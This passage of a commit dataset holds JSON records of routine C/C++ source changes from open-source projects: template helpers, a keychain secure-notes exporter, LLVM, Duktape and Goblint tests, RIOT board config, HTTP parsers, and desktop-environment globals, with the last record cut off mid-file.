{"commit":"06039e96e1098f3059e34ae836e8c66b55384402","old_file":"include\/mart-common\/experimental\/tmp.h","new_file":"include\/mart-common\/experimental\/tmp.h","old_contents":"","new_contents":"#ifndef LIB_MART_COMMON_GUARD_TMP_H\n#define LIB_MART_COMMON_GUARD_TMP_H\n\/**\n* tmp.h (mart-common)\n*\n* Copyright (C) 2015-2017: Michael Balszun <michael.balszun@mytum.de>\n*\n* This software may be modified and distributed under the terms\n* of the MIT license. See either the LICENSE file in the library's root\n* directory or http:\/\/opensource.org\/licenses\/MIT for details.\n*\n* @author: Michael Balszun <michael.balszun@mytum.de>\n* @brief: template meta programming helpers\n*\n*\/\n\n\/* ######## INCLUDES ######### *\/\n\/* Standard Library Includes *\/\n\n\/* Proprietary Library Includes *\/\n#include \"..\/cpp_std\/type_traits.h\"\n#include \"..\/cpp_std\/utility.h\"\n\n\/* Project Includes *\/\n\/* ~~~~~~~~ INCLUDES ~~~~~~~~~ *\/\n\nnamespace mart {\nnamespace tmp {\n\n\ntemplate<class T, std::size_t N>\nstruct c_array {\n\tconst T t[N];\n\tconstexpr T operator[](size_t i) const {\n\t\treturn t[i];\n\t}\n\tstatic constexpr size_t size() { return N; }\n};\n\ntemplate<class T, T ... Is, template<class, T...> class sequence>\nconstexpr c_array<T, sizeof...(Is)> to_carray(sequence<T, Is...>) {\n\treturn { {Is...}};\n\n}\n\n\/\/ watch out: on gcc, you can't use parameters itself to generate the returntype, but have to create a new value of the type\n\nnamespace detail_cartesian_value_product {\ntemplate<\n\ttemplate<class ... > class Comb,\n\tclass V1, class V2,\n\ttemplate< V1, V2 > class T,\n\tclass List1,\n\tclass List2,\n\tstd::size_t ... Is\n>\nauto impl(List1, List2, mart::index_sequence<Is...>)\n-> Comb < T <\n\tto_carray(List1{})[Is \/ List2::size()],\n\tto_carray(List2{})[Is % List2::size()]\n\t> ...\n>;\n\n}\n\ntemplate<\n\ttemplate<class ... > class Comb,\n\tclass V1, class V2,\n\ttemplate< V1, V2 > class T,\n\tclass List1,\n\tclass List2\n>\nauto cartesian_value_product(List1 l1, List2 l2 )\n-> decltype(detail_cartesian_value_product::impl<Comb,V1,V2,T>(l1, l2, mart::make_index_sequence<List1::size()*List2::size()>{}));\n\n\n}\n}\n\n#endif\n\n","subject":"Add cartesian_value_product template meta function","message":"[Merge] Add cartesian_value_product template meta function\n","lang":"C","license":"mit","repos":"tum-ei-rcs\/mart-common,tum-ei-rcs\/mart-common"}
{"commit":"28b5c302b8d65d935fb833d5a8a583866f2e5c60","old_file":"secure-notes-exporter\/main.c","new_file":"secure-notes-exporter\/main.c","old_contents":"\/\/\n\/\/  main.c\n\/\/  secure-notes-exporter\n\/\/\n\/\/  Created by Greg Hurrell on 5\/9\/14.\n\/\/  Copyright (c) 2014 Greg Hurrell. All rights reserved.\n\/\/\n\n#include <CoreFoundation\/CoreFoundation.h>\n#include <Security\/Security.h>\n\nint main(int argc, const char * argv[])\n{\n    \/\/ create query\n    CFStringRef keys[] = { kSecReturnAttributes, kSecMatchLimit, kSecClass };\n    CFTypeRef values[] = { kCFBooleanTrue, kSecMatchLimitAll, kSecClassGenericPassword };\n    CFDictionaryRef query = CFDictionaryCreate(\n        kCFAllocatorDefault,\n        (const void **)keys,\n        (const void **)values,\n        3,\n        &kCFTypeDictionaryKeyCallBacks,\n        &kCFTypeDictionaryValueCallBacks\n    );\n\n    \/\/ get search results\n    CFArrayRef items = nil;\n    OSStatus status = SecItemCopyMatching(query, (CFTypeRef *)&items);\n    CFRelease(query);\n    assert(status == 0);\n    CFShow(items);\n    CFRelease(items);\n    return 0;\n}\n\n","new_contents":"\/\/\n\/\/  main.c\n\/\/  secure-notes-exporter\n\/\/\n\/\/  Created by Greg Hurrell on 5\/9\/14.\n\/\/  Copyright (c) 2014 Greg Hurrell. All rights reserved.\n\/\/\n\n#include <CoreFoundation\/CoreFoundation.h>\n#include <Security\/Security.h>\n\nvoid printItem(const void *value, void *context) {\n    CFDictionaryRef dictionary = value;\n    CFNumberRef itemType = CFDictionaryGetValue(dictionary, kSecAttrType);\n    CFNumberRef noteType = (CFNumberRef)context;\n    if (!itemType || !CFEqual(itemType, noteType)) {\n        \/\/ not a note\n        return;\n    }\n\n    CFShow(noteType);\n}\n\nint main(int argc, const char * argv[])\n{\n    \/\/ create query\n    CFStringRef keys[] = { kSecReturnAttributes, kSecMatchLimit, kSecClass };\n    CFTypeRef values[] = { kCFBooleanTrue, kSecMatchLimitAll, kSecClassGenericPassword };\n    CFDictionaryRef query = CFDictionaryCreate(\n        kCFAllocatorDefault,\n        (const void **)keys,\n        (const void **)values,\n        3,\n        &kCFTypeDictionaryKeyCallBacks,\n        &kCFTypeDictionaryValueCallBacks\n    );\n\n    \/\/ get search results\n    CFArrayRef items = nil;\n    OSStatus status = SecItemCopyMatching(query, (CFTypeRef *)&items);\n    CFRelease(query);\n    assert(status == 0);\n\n    \/\/ iterate over \"Secure Note\" items\n    CFRange range = CFRangeMake(0, CFArrayGetCount(items));\n    SInt32 note = 'note';\n    CFNumberRef noteRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &note);\n    CFArrayApplyFunction(items, range, printItem, (void *)noteRef);\n    CFRelease(noteRef);\n    CFRelease(items);\n    return 0;\n}\n\n","subject":"Print something about \"Secure Notes\" while iterating","message":"Print something about \"Secure Notes\" while iterating\n\nI couldn't find a constant for 'note' and there are probably more\nidiomatic ways to do this, but this is what I have.\n\nSigned-off-by: Greg Hurrell <79e2475f81a6317276bf7cbb3958b20d289b78df@hurrell.net>\n","lang":"C","license":"bsd-3-clause","repos":"wincent\/secure-notes-exporter"}
{"commit":"ce1a1091e2ca7826ec17d08d756105eb6cf654f4","old_file":"include\/llvm\/Transforms\/Utils\/Mem2Reg.h","new_file":"include\/llvm\/Transforms\/Utils\/Mem2Reg.h","old_contents":"\/\/===- Mem2Reg.h - The -mem2reg pass, a wrapper around the Utils lib ------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This pass is a simple pass wrapper around the PromoteMemToReg function call\n\/\/ exposed by the Utils library.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_MEM2REG_H\n#define LLVM_TRANSFORMS_UTILS_MEM2REG_H\n\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/PassManager.h\"\n\nnamespace llvm {\nclass PromotePass : public PassInfoMixin<PromotePass> {\npublic:\n  PreservedAnalyses run(Function &F, FunctionAnalysisManager &AM);\n};\n}\n\n#endif \/\/ LLVM_TRANSFORMS_UTILS_MEM2REG_H","new_contents":"\/\/===- Mem2Reg.h - The -mem2reg pass, a wrapper around the Utils lib ------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This pass is a simple pass wrapper around the PromoteMemToReg function call\n\/\/ exposed by the Utils library.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_MEM2REG_H\n#define LLVM_TRANSFORMS_UTILS_MEM2REG_H\n\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/PassManager.h\"\n\nnamespace llvm {\nclass PromotePass : public PassInfoMixin<PromotePass> {\npublic:\n  PreservedAnalyses run(Function &F, FunctionAnalysisManager &AM);\n};\n}\n\n#endif \/\/ LLVM_TRANSFORMS_UTILS_MEM2REG_H\n","subject":"Add EOL at EOF to appease source utils like unifdef","message":"Add EOL at EOF to appease source utils like unifdef\n\n<rdar:\/\/problem\/32511256>\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@305225 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"7105c5953e128f3745bca196ddbc30ca7c3229fe","old_file":"tests\/api\/test-bug-is-primitive-invalid-index-gh337.c","new_file":"tests\/api\/test-bug-is-primitive-invalid-index-gh337.c","old_contents":"","new_contents":"\/*\n *  Bug in duk_is_primitive() prior to Duktape 1.3.0: returns 1 for invalid\n *  index.\n *\n *  https:\/\/github.com\/svaarala\/duktape\/issues\/337\n *\/\n\n\/*===\n*** test_1 (duk_safe_call)\n0\nfinal top: 0\n==> rc=0, result='undefined'\n*** test_2 (duk_safe_call)\n0\nfinal top: 0\n==> rc=0, result='undefined'\n*** test_3 (duk_safe_call)\n1\n0\nfinal top: 1\n==> rc=0, result='undefined'\n===*\/\n\nstatic duk_ret_t test_1(duk_context *ctx) {\n\tprintf(\"%ld\\n\", (long) duk_is_primitive(ctx, -1));\n\n\tprintf(\"final top: %ld\\n\", (long) duk_get_top(ctx));\n\treturn 0;\n}\n\nstatic duk_ret_t test_2(duk_context *ctx) {\n\tprintf(\"%ld\\n\", (long) duk_is_primitive(ctx, DUK_INVALID_INDEX));\n\n\tprintf(\"final top: %ld\\n\", (long) duk_get_top(ctx));\n\treturn 0;\n}\n\nstatic duk_ret_t test_3(duk_context *ctx) {\n\tduk_push_null(ctx);\n\n\tprintf(\"%ld\\n\", (long) duk_is_primitive(ctx, 0));  \/* valid *\/\n\tprintf(\"%ld\\n\", (long) duk_is_primitive(ctx, 1));  \/* invalid *\/\n\n\tprintf(\"final top: %ld\\n\", (long) duk_get_top(ctx));\n\treturn 0;\n}\n\nvoid test(duk_context *ctx) {\n\tTEST_SAFE_CALL(test_1);\n\tTEST_SAFE_CALL(test_2);\n\tTEST_SAFE_CALL(test_3);\n}\n","subject":"Add bug testcase for GH-337","message":"Add bug testcase for GH-337\n","lang":"C","license":"mit","repos":"markand\/duktape,jmptrader\/duktape,nivertech\/duktape,nivertech\/duktape,jmptrader\/duktape,nivertech\/duktape,markand\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,svaarala\/duktape,chenyaqiuqiu\/duktape,tassmjau\/duktape,svaarala\/duktape,nivertech\/duktape,nivertech\/duktape,chenyaqiuqiu\/duktape,chenyaqiuqiu\/duktape,jmptrader\/duktape,markand\/duktape,zeropool\/duktape,jmptrader\/duktape,nivertech\/duktape,markand\/duktape,zeropool\/duktape,zeropool\/duktape,tassmjau\/duktape,markand\/duktape,zeropool\/duktape,nivertech\/duktape,svaarala\/duktape,jmptrader\/duktape,markand\/duktape,chenyaqiuqiu\/duktape,chenyaqiuqiu\/duktape,tassmjau\/duktape,chenyaqiuqiu\/duktape,chenyaqiuqiu\/duktape,tassmjau\/duktape,jmptrader\/duktape,svaarala\/duktape,harold-b\/duktape,nivertech\/duktape,tassmjau\/duktape,zeropool\/duktape,svaarala\/duktape,svaarala\/duktape,markand\/duktape,jmptrader\/duktape,harold-b\/duktape,zeropool\/duktape,markand\/duktape,chenyaqiuqiu\/duktape,jmptrader\/duktape,harold-b\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,zeropool\/duktape,harold-b\/duktape,markand\/duktape,tassmjau\/duktape,svaarala\/duktape,markand\/duktape,svaarala\/duktape,nivertech\/duktape,zeropool\/duktape,tassmjau\/duktape,zeropool\/duktape,zeropool\/duktape,jmptrader\/duktape,svaarala\/duktape,harold-b\/duktape,harold-b\/duktape,tassmjau\/duktape,harold-b\/duktape,nivertech\/duktape,tassmjau\/duktape,jmptrader\/duktape,harold-b\/duktape,tassmjau\/duktape"}
{"commit":"20a48bba8b21203919b25888f3ad75d27a2bbab0","old_file":"tests\/regression\/02-base\/86-spurious.c","new_file":"tests\/regression\/02-base\/86-spurious.c","old_contents":"#include<pthread.h>\n#include<assert.h>\nint counter = 0;\npthread_mutex_t lock1;\n\nvoid* producer(void* param) {\n    pthread_mutex_lock(&lock1);\n    counter = 0;\n    pthread_mutex_unlock(&lock1);\n}\n\nvoid* consumer(void* param) {\n    pthread_mutex_lock(&lock1);\n    int bla = counter >= 0;\n    \/\/ This should not produce a warning about the privatization being unsound\n    assert(counter >= 0);\n    pthread_mutex_unlock(&lock1);\n}\n\n\nint main() {\n    pthread_t thread;\n    pthread_t thread2;\n    pthread_create(&thread,NULL,producer,NULL);\n    pthread_create(&thread2,NULL,consumer,NULL);\n}\n","new_contents":"\/\/PARAM: --disable warn.assert\n#include<pthread.h>\n#include<assert.h>\nint counter = 0;\npthread_mutex_t lock1;\n\nvoid* producer(void* param) {\n    pthread_mutex_lock(&lock1);\n    counter = 0;\n    pthread_mutex_unlock(&lock1);\n}\n\nvoid* consumer(void* param) {\n    pthread_mutex_lock(&lock1);\n    int bla = counter >= 0;\n    \/\/ This should not produce a warning about the privatization being unsound\n    assert(counter >= 0); \/\/NOWARN\n    pthread_mutex_unlock(&lock1);\n}\n\n\nint main() {\n    pthread_t thread;\n    pthread_t thread2;\n    pthread_create(&thread,NULL,producer,NULL);\n    pthread_create(&thread2,NULL,consumer,NULL);\n}\n","subject":"Modify test 02\/86 so it fails if spurious warning is produced","message":"Modify test 02\/86 so it fails if spurious warning is produced\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"87b2aa5ed903e8121969ae0f8dead4a7aaa88ea1","old_file":"boards\/nrf52832-mdk\/include\/periph_conf.h","new_file":"boards\/nrf52832-mdk\/include\/periph_conf.h","old_contents":"\/*\n * Copyright (C) 2019 Inria\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup     boards_nrf52832-mdk\n * @{\n *\n * @file\n * @brief       Peripheral configuration for the nRF52832-MDK\n *\n * @author      Alexandre Abadie <alexandre.abadie@inria.fr>\n *\n *\/\n\n#ifndef PERIPH_CONF_H\n#define PERIPH_CONF_H\n\n#include \"periph_cpu.h\"\n#include \"cfg_clock_32_1.h\"\n#include \"cfg_i2c_default.h\"\n#include \"cfg_rtt_default.h\"\n#include \"cfg_spi_default.h\"\n#include \"cfg_timer_default.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n * @name    UART configuration\n * @{\n *\/\n#define UART_NUMOF          (1U)\n#define UART_PIN_RX         GPIO_PIN(0,19)\n#define UART_PIN_TX         GPIO_PIN(0,20)\n\/** @} *\/\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* PERIPH_CONF_H *\/\n","new_contents":"\/*\n * Copyright (C) 2019 Inria\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup     boards_nrf52832-mdk\n * @{\n *\n * @file\n * @brief       Peripheral configuration for the nRF52832-MDK\n *\n * @author      Alexandre Abadie <alexandre.abadie@inria.fr>\n *\n *\/\n\n#ifndef PERIPH_CONF_H\n#define PERIPH_CONF_H\n\n#include \"periph_cpu.h\"\n#include \"cfg_clock_32_1.h\"\n#include \"cfg_i2c_default.h\"\n#include \"cfg_rtt_default.h\"\n#include \"cfg_spi_default.h\"\n#include \"cfg_timer_default.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n * @name    UART configuration\n * @{\n *\/\n#define UART_NUMOF          (1U)\n#define UART_PIN_RX         GPIO_PIN(0,19)\n#define UART_PIN_TX         GPIO_PIN(0,20)\n\/** @} *\/\n\n\/**\n * @brief Enable the internal DC\/DC converter\n *\/\n#define NRF5X_ENABLE_DCDC\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* PERIPH_CONF_H *\/\n","subject":"Enable the nRF52 built-in DC\/DC converter","message":"nrf52832-mdk: Enable the nRF52 built-in DC\/DC converter\n","lang":"C","license":"lgpl-2.1","repos":"OlegHahm\/RIOT,RIOT-OS\/RIOT,yogo1212\/RIOT,OTAkeys\/RIOT,ant9000\/RIOT,authmillenon\/RIOT,kaspar030\/RIOT,RIOT-OS\/RIOT,kaspar030\/RIOT,ant9000\/RIOT,kYc0o\/RIOT,yogo1212\/RIOT,basilfx\/RIOT,authmillenon\/RIOT,OTAkeys\/RIOT,OlegHahm\/RIOT,authmillenon\/RIOT,yogo1212\/RIOT,OTAkeys\/RIOT,basilfx\/RIOT,basilfx\/RIOT,jasonatran\/RIOT,miri64\/RIOT,yogo1212\/RIOT,miri64\/RIOT,jasonatran\/RIOT,RIOT-OS\/RIOT,OlegHahm\/RIOT,kaspar030\/RIOT,basilfx\/RIOT,jasonatran\/RIOT,ant9000\/RIOT,RIOT-OS\/RIOT,authmillenon\/RIOT,RIOT-OS\/RIOT,jasonatran\/RIOT,miri64\/RIOT,authmillenon\/RIOT,yogo1212\/RIOT,kYc0o\/RIOT,kYc0o\/RIOT,authmillenon\/RIOT,jasonatran\/RIOT,ant9000\/RIOT,ant9000\/RIOT,kaspar030\/RIOT,kYc0o\/RIOT,basilfx\/RIOT,miri64\/RIOT,kYc0o\/RIOT,OlegHahm\/RIOT,miri64\/RIOT,OTAkeys\/RIOT,OlegHahm\/RIOT,kaspar030\/RIOT,yogo1212\/RIOT,OTAkeys\/RIOT"}
{"commit":"27291e96b8b5ac7472c782842a01fca8ac59b6b6","old_file":"src\/vast\/concept\/parseable\/vast\/http.h","new_file":"src\/vast\/concept\/parseable\/vast\/http.h","old_contents":"","new_contents":"#ifndef VAST_CONCEPT_PARSEABLE_VAST_HTTP_H\n#define VAST_CONCEPT_PARSEABLE_VAST_HTTP_H\n\n#include <algorithm>\n#include <cctype>\n#include <string>\n\n#include \"vast\/concept\/parseable\/core.h\"\n#include \"vast\/concept\/parseable\/string.h\"\n#include \"vast\/concept\/parseable\/numeric\/real.h\"\n#include \"vast\/concept\/parseable\/vast\/uri.h\"\n#include \"vast\/http.h\"\n#include \"vast\/uri.h\"\n#include \"vast\/util\/string.h\"\n\nnamespace vast {\n\nstruct http_header_parser : parser<http_header_parser> {\n  using attribute = http::header;\n\n  static auto make() {\n    auto to_upper = [](std::string name) {\n      std::transform(name.begin(), name.end(), name.begin(), ::toupper);\n      return name;\n    };\n    using namespace parsers;\n    auto name = +(printable - ':') ->* to_upper;\n    auto value = +printable;\n    auto ws = *' '_p;\n    return name >> ':' >> ws >> value;\n  }\n\n  template <typename Iterator>\n  bool parse(Iterator& f, Iterator const& l, unused_type) const {\n    static auto p = make();\n    return p.parse(f, l, unused);\n  }\n\n  template <typename Iterator>\n  bool parse(Iterator& f, Iterator const& l, http::header& a) const {\n    static auto p = make();\n    a.name.clear();\n    a.value.clear();\n    auto t = std::tie(a.name, a.value);\n    return p.parse(f, l, t);\n  }\n};\n\ntemplate <>\nstruct parser_registry<http::header> {\n  using type = http_header_parser;\n};\n\nstruct http_request_parser : parser<http_request_parser> {\n  using attribute = http::request;\n\n  static auto make() {\n    using namespace parsers;\n    auto crlf = \"\\r\\n\";\n    auto word = +(printable - ' ');\n    auto method = word;\n    auto uri = make_parser<vast::uri>();\n    auto proto = +alpha;\n    auto version = parsers::real;\n    auto header = make_parser<http::header>() >> crlf;\n    auto body = *printable;\n    auto request\n      =   method >> ' ' >> uri >> ' ' >> proto >> '\/' >> version >> crlf\n      >>  *header >> crlf\n      >>  body;\n      ;\n    return request;\n  }\n\n  template <typename Iterator>\n  bool parse(Iterator& f, Iterator const& l, unused_type) const {\n    static auto p = make();\n    return p.parse(f, l, unused);\n  }\n\n  template <typename Iterator>\n  bool parse(Iterator& f, Iterator const& l, http::request& a) const {\n    static auto p = make();\n    auto t =\n      std::tie(a.method, a.uri, a.protocol, a.version, a.headers, a.body);\n    return p.parse(f, l, t);\n  }\n};\n\ntemplate <>\nstruct parser_registry<http::request> {\n  using type = http_request_parser;\n};\n\n} \/\/ namespace vast\n\n#endif\n","subject":"Add HTTP parsers which got lost during last merge","message":"Add HTTP parsers which got lost during last merge\n","lang":"C","license":"bsd-3-clause","repos":"mavam\/vast,vast-io\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,pmos69\/vast,mavam\/vast,vast-io\/vast,pmos69\/vast,pmos69\/vast,mavam\/vast,pmos69\/vast,vast-io\/vast"}
{"commit":"e92636f39795ce15a5f11660803d0d0c9394ec23","old_file":"src\/t3\/Portability.h","new_file":"src\/t3\/Portability.h","old_contents":"\/****************************************************************************\n * Simple definitions to aid platform portability\n *  Author:  Bill Forster\n *  License: MIT license. Full text of license is in associated file LICENSE\n *  Copyright 2010-2014, Bill Forster <billforsternz at gmail dot com>\n ****************************************************************************\/\n#ifndef PORTABILITY_H\n#define PORTABILITY_H\n#include <stdint.h>     \/\/ int32_t etc. \n\n\/\/ Windows\n#ifdef WIN32\n#include <Windows.h>\n#include <string.h>\n#define strcmpi _strcmpi\n#define THC_WINDOWS         \/\/ Triple Happy Chess, Windows specific code\n#define WINDOWS_FIX_LATER   \/\/ Windows only fix later on Mac\n\n\/\/ Mac\n#else\nunsigned long GetTickCount();\ntypedef unsigned char byte;\nint strcmpi( const char *s, const char *t ); \/\/ return 0 if case insensitive match\n#define THC_MAC             \/\/ Triple Happy Chess, Mac specific code\n#define MAC_FIX_LATER       \/\/ Things not yet done on the Mac\n#endif\n\n\/\/#define DebugPrintfInner printf \/\/temp\n\n#endif \/\/ PORTABILITY_H\n","new_contents":"\/****************************************************************************\n * Simple definitions to aid platform portability\n *  Author:  Bill Forster\n *  License: MIT license. Full text of license is in associated file LICENSE\n *  Copyright 2010-2014, Bill Forster <billforsternz at gmail dot com>\n ****************************************************************************\/\n#ifndef PORTABILITY_H\n#define PORTABILITY_H\n#include <stdint.h>     \/\/ int32_t etc. \n\n\/\/CHOOSE ONE:\n\/\/#define TARRASCH_UNIX 1\n\/\/#define TARRASCH_WINDOWS 1\n\/\/#define TARRASCH_OSX 1\n\n#ifdef WIN32\n   #define TARRASCH_WINDOWS 1\n#else\n   #define TARRASCH_UNIX 1\n#endif\n\n#include <stdint.h>     \/\/ int32_t etc.\n\n#if TARRASCH_UNIX\n   #include <string.h>\n   typedef uint8_t byte;\n   #define THC_MAC\n   #define MAC_FIX_LATER\n   unsigned long GetTickCount();\n   int strcmpi(const char *s, const char *t);\n#elif TARRASCH_WINDOWS\n   #include <Windows.h>\n   #include <string.h>\n   #define strcmpi _strcmpi\n   #define THC_WINDOWS         \/\/ Triple Happy Chess, Windows specific code\n   #define WINDOWS_FIX_LATER   \/\/ Windows only fix later on Mac\n#elif TARRASCH_OSX\n   unsigned long GetTickCount();\n   typedef unsigned char byte;\n   int strcmpi( const char *s, const char *t ); \/\/ return 0 if case insensitive match\n   #define THC_MAC             \/\/ Triple Happy Chess, Mac specific code\n   #define MAC_FIX_LATER       \/\/ Things not yet done on the Mac\n#else\n   #error Unknown Platform!\n#endif\n\n\/\/#define DebugPrintfInner printf \/\/temp\n\n#endif \/\/ PORTABILITY_H\n","subject":"Change over to KostaKow's version of this","message":"Change over to KostaKow's version of this\n","lang":"C","license":"mit","repos":"billforsternz\/tarrasch-chess-gui,billforsternz\/tarrasch-chess-gui,billforsternz\/tarrasch-chess-gui,billforsternz\/tarrasch-chess-gui"}
{"commit":"a0bd5722877d7144bbac6ab613ef3d9ea89e39cd","old_file":"src\/polling\/polling_thread.h","new_file":"src\/polling\/polling_thread.h","old_contents":"#ifndef POLLING_THREAD_H\n#define POLLING_THREAD_H\n\n#include <cstdint>\n#include <chrono>\n#include <map>\n#include <uv.h>\n\n#include \"..\/thread.h\"\n#include \"..\/status.h\"\n#include \"..\/result.h\"\n#include \"polled_root.h\"\n\nconst std::chrono::milliseconds DEFAULT_POLL_INTERVAL = std::chrono::milliseconds(500);\nconst uint_fast64_t DEFAULT_POLL_THROTTLE = 1000;\n\nclass PollingThread : public Thread {\npublic:\n  PollingThread(uv_async_t *main_callback);\n  ~PollingThread();\n\n  void collect_status(Status &status) override;\n\nprivate:\n  Result<> body() override;\n\n  Result<> cycle();\n\n  Result<OfflineCommandOutcome> handle_offline_command(const CommandPayload *command) override;\n\n  Result<CommandOutcome> handle_add_command(const CommandPayload *command) override;\n\n  Result<CommandOutcome> handle_remove_command(const CommandPayload *payload) override;\n\n  std::chrono::milliseconds poll_interval;\n  uint_fast64_t poll_throttle;\n\n  std::map<ChannelID, PolledRoot> roots;\n};\n\n#endif\n","new_contents":"#ifndef POLLING_THREAD_H\n#define POLLING_THREAD_H\n\n#include <cstdint>\n#include <chrono>\n#include <map>\n#include <uv.h>\n\n#include \"..\/thread.h\"\n#include \"..\/status.h\"\n#include \"..\/result.h\"\n#include \"polled_root.h\"\n\nconst std::chrono::milliseconds DEFAULT_POLL_INTERVAL = std::chrono::milliseconds(100);\nconst uint_fast64_t DEFAULT_POLL_THROTTLE = 1000;\n\nclass PollingThread : public Thread {\npublic:\n  PollingThread(uv_async_t *main_callback);\n  ~PollingThread();\n\n  void collect_status(Status &status) override;\n\nprivate:\n  Result<> body() override;\n\n  Result<> cycle();\n\n  Result<OfflineCommandOutcome> handle_offline_command(const CommandPayload *command) override;\n\n  Result<CommandOutcome> handle_add_command(const CommandPayload *command) override;\n\n  Result<CommandOutcome> handle_remove_command(const CommandPayload *payload) override;\n\n  std::chrono::milliseconds poll_interval;\n  uint_fast64_t poll_throttle;\n\n  std::map<ChannelID, PolledRoot> roots;\n};\n\n#endif\n","subject":"Drop the default polling interval to 100ms","message":"Drop the default polling interval to 100ms\n","lang":"C","license":"mit","repos":"atom\/watcher,atom\/watcher,atom\/watcher,atom\/watcher,atom\/watcher"}
{"commit":"9447fa811b7ac3429f9fdbc8a34a7b6ac6dccca3","old_file":"core-set.h","new_file":"core-set.h","old_contents":"#ifndef __CORE_SET__\n#define __CORE_SET__\n\n#include <set>\n\nclass CoreSet : public std::set<int>\n{\npublic:\n    int getPrevCore(int coreId) {\n        auto curr = this->find(coreId);\n        assert(curr != this->end());\n        curr--;\n        \/\/ This was the first element, start over\n        if (curr == this->end())\n            curr--;\n        return *curr;\n    }\n\n    int getNextCore(int coreId) {\n        auto curr = this->find(coreId);\n        assert(curr != this->end());\n        curr++;\n        \/\/ This was the last element, start over\n        if (curr == this->end())\n            curr = this->begin();\n        return *curr;\n    }\n};\n\n#endif\n","new_contents":"#ifndef __CORE_SET__\n#define __CORE_SET__\n\n#include \"assert.h\"\n#include <set>\n\nclass CoreSet : public std::set<int>\n{\npublic:\n    int getPrevCore(int coreId) {\n        auto curr = this->find(coreId);\n        assert(curr != this->end());\n        curr--;\n        \/\/ This was the first element, start over\n        if (curr == this->end())\n            curr--;\n        return *curr;\n    }\n\n    int getNextCore(int coreId) {\n        auto curr = this->find(coreId);\n        assert(curr != this->end());\n        curr++;\n        \/\/ This was the last element, start over\n        if (curr == this->end())\n            curr = this->begin();\n        return *curr;\n    }\n};\n\n#endif\n","subject":"Add a missing header include for assert.h","message":"Add a missing header include for assert.h\n","lang":"C","license":"bsd-3-clause","repos":"s-kanev\/XIOSim,s-kanev\/XIOSim,s-kanev\/XIOSim,s-kanev\/XIOSim"}
{"commit":"4ede882f2c2b3a2409bddbbd6cee9bbbfdead905","old_file":"Lumina-DE\/src\/lumina-desktop\/Globals.h","new_file":"Lumina-DE\/src\/lumina-desktop\/Globals.h","old_contents":"\/\/===========================================\n\/\/  Lumina-DE source code\n\/\/  Copyright (c) 2012, Ken Moore\n\/\/  Available under the 3-clause BSD license\n\/\/  See the LICENSE file for full details\n\/\/===========================================\n#ifndef _LUMINA_DESKTOP_GLOBALS_H\n#define _LUMINA_DESKTOP_GLOBALS_H\n\nclass SYSTEM{\npublic:\n\t\/\/Current Username\n\tstatic QString user(){ return QString(getlogin()); }\n\t\/\/Current Hostname\n\tstatic QString hostname(){ \n\t  char name[50];\n\t  gethostname(name,sizeof(name));\n\t  return QString(name);\n\t}\n\t\/\/Shutdown the system\n\tstatic void shutdown(){ system(\"(shutdown -p now) &\"); }\n\t\/\/Restart the system\n\tstatic void restart(){ system(\"(shutdown -r now) &\"); }\n};\n\n\/*\nclass LUMINA{\npublic:\n\tstatic QIcon getIcon(QString iconname);\n\tstatic QIcon getFileIcon(QString filename);\t\n};\n*\/\n\n#endif\n","new_contents":"\/\/===========================================\n\/\/  Lumina-DE source code\n\/\/  Copyright (c) 2012, Ken Moore\n\/\/  Available under the 3-clause BSD license\n\/\/  See the LICENSE file for full details\n\/\/===========================================\n#ifndef _LUMINA_DESKTOP_GLOBALS_H\n#define _LUMINA_DESKTOP_GLOBALS_H\n\n#include <unistd.h>\n\nclass SYSTEM{\npublic:\n\t\/\/Current Username\n\tstatic QString user(){ return QString(getlogin()); }\n\t\/\/Current Hostname\n\tstatic QString hostname(){ \n\t  char name[50];\n\t  gethostname(name,sizeof(name));\n\t  return QString(name);\n\t}\n\t\/\/Shutdown the system\n\tstatic void shutdown(){ system(\"(shutdown -p now) &\"); }\n\t\/\/Restart the system\n\tstatic void restart(){ system(\"(shutdown -r now) &\"); }\n};\n\n\/*\nclass LUMINA{\npublic:\n\tstatic QIcon getIcon(QString 